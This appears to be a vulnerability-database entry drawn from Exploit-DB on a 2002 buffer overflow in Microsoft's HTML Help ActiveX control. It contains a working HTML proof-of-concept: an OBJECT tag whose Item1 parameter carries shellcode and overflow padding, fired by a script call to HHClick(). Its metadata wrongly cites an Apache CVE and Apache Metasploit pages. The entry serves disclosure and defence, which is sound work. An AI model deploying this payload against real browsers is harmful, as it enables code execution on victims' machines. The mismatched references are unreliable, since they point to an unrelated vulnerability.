HTML Help ActiveX Control Vulnerability

vendor:

HTML Help ActiveX Control

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: HTML Help ActiveX Control

Affected Version From: 4.72.8252.0

Affected Version To: 4.72.8252.0

Patch Exists: YES

Related CWE: CVE-2002-0392

CPE: a:microsoft:html_help_activex_control

Metasploit: https://www.rapid7.com/db/vulnerabilities/apache-httpd-cve-2002-0392/, https://www.rapid7.com/db/vulnerabilities/http-apache2-chunked-transfer-int-bof/, https://www.rapid7.com/db/vulnerabilities/apache-httpd-1_3_x-apache-chunked-encoding-vulnerability-cve-2002-0392/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2002

HTML Help ActiveX Control Vulnerability

A remotely exploitable issue has been reported in the WinHlp facility. The software fails to perform sufficient boundary checks of the Item parameter in the WinHlp command. This issue resides in Winhlp32.exe. An attacker can exploit this condition by embedding a call to the vulnerable ActiveX control in a malicious webpage or HTML email. If successful, the attacker may be able to execute arbitrary code on the client system as the Internet Explorer user.

Mitigation:

Ensure that the HTML Help ActiveX control is not used in a web page or HTML email. Ensure that Tiny Personal Firewall 3.0 is configured to block outgoing/back-channel connections that stem from successful exploits.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4857/info

HTML Help ActiveX control (Hhctrl.ocx) ships as part of Microsoft HTML Help and is designed to work with Internet Explorer to provide functionality for help systems.

A remotely exploitable issue has been reported in the WinHlp facility. The software fails to perform sufficient boundary checks of the Item parameter in the WinHlp command. This issue resides in Winhlp32.exe.

An attacker can exploit this condition by embedding a call to the vulnerable ActiveX control in a malicious webpage or HTML email. If successful, the attacker may be able to execute arbitrary code on the client system as the Internet Explorer user.

Note that Windows ships with HTML Help.

The HTML Help ActiveX control can also reportedly be used to mount denial-of-service attacks and exploit other stack- and heap-based overflows.

Tiny Personal Firewall 3.0 reportedly treats the HTML Help facility as a trusted application in the default configuration. As a result, any outgoing/back-channel connections that stem from successful exploits will not be blocked by the firewall in the default configuration. Note that this issue is reportedly not present in Tiny Personal Firewall 2.0. 

<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE="^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã3Ã?Phcalc^Ã4$&#402;Ã?&#1;PVÂ¸Â¯Â§Ã©w^?Ã3Ã?PÂ¾&#8221;^ÃÃ©w^?Ã?AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
PPPQQQQRRRRSSSSTTTAAAA&#11;Â©ÃµwABCDEFGH^Ã&#402;Ã?&#21;^?Ã¦gMyWindow"><PARAM
NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>